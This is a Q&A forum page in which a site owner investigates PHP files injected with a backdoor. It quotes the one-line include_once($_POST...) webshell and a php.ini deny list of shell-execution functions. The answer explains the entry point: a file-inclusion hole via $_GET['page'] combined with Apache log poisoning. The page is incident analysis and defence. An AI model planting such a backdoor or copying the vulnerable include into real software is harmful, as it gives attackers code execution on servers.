Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 7948711
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: June 4, 20262026-06-04T01:48:03+00:00 2026-06-04T01:48:03+00:00

So I found an injected code on a website. A couple of php files

  • 0

So I found an injected code on a website. A couple of php files were prepended with an obfuscated code, which evaluates to a script that allows accessing other files in the filesystem and executing terminal commands. A few other pages were injected with this simple code:

<?php
if(isset($_POST{"VXzGE"})) include_once($_POST{"VXzGE"});

I am told there there hasn’t been any breach to the server itself, so the only way I can think of for this breach to be possible would be via insecure form. Assuming the site has several forms:

  1. some forms upload files
  2. some save info in database
  3. other only save a cookie depending on the submitted form contents

How could I check where the injection come from?

I am sure there must be some common ways of doing this kind of thing, what are they?

FYI my server has these functions disabled via php.ini:

disable_functions = "apache_child_terminate, escapeshellarg, escapeshellcmd, exec, fp, fput, highlight_file, passthru, php_uname, popix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, prce, system"
  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-06-04T01:48:04+00:00Added an answer on June 4, 2026 at 1:48 am

    For future reference I’ll disclose the hole that was used to inject the code.

    Firstly, there was a single insecure file that with an obvious hole:

    include 'pages/' . $_GET['page'] . '.php';
    

    This didn’t give the attacker write access to the filesystem yet, but since the website had access to the whole filesystem it was able to read Apache log files (Apache not chrooted and unsafe file permissions). Attacker found that hole and this allowed him to plant a malicious code in the url which got executed the moment he read the Apache log file.

    So in the end an obvious hole and a couple other oversights allow this code injection.

    Unsafe file deleted, holes patched up – lesson learned.

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

In several files, I found injected code in my PHP files. I attempted to
I've found out that my web pages (mainly index.php, main.html, include.inc) have been injected
Found a piece of code today, that I find a little smelly... TMyObject.LoadFromFile(const filename:
I found that using Smarty with PHP, sometimes extra time will need to be
When I came home today I found all my PHP files infected on Godaddy
Found this question that explained a way to communicate between layers. However there is
i found this code: protected override void OnSourceInitialized(EventArgs e) { base.OnSourceInitialized(e); HwndSource hwndSource =
Does anyone know of any script injection scanners that are able to detect if
After trying to understand why client code is not rendered in a page (injected
I have a @SessionScoped? DAO that's being injected into a Stripes framework Interceptor constructor

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.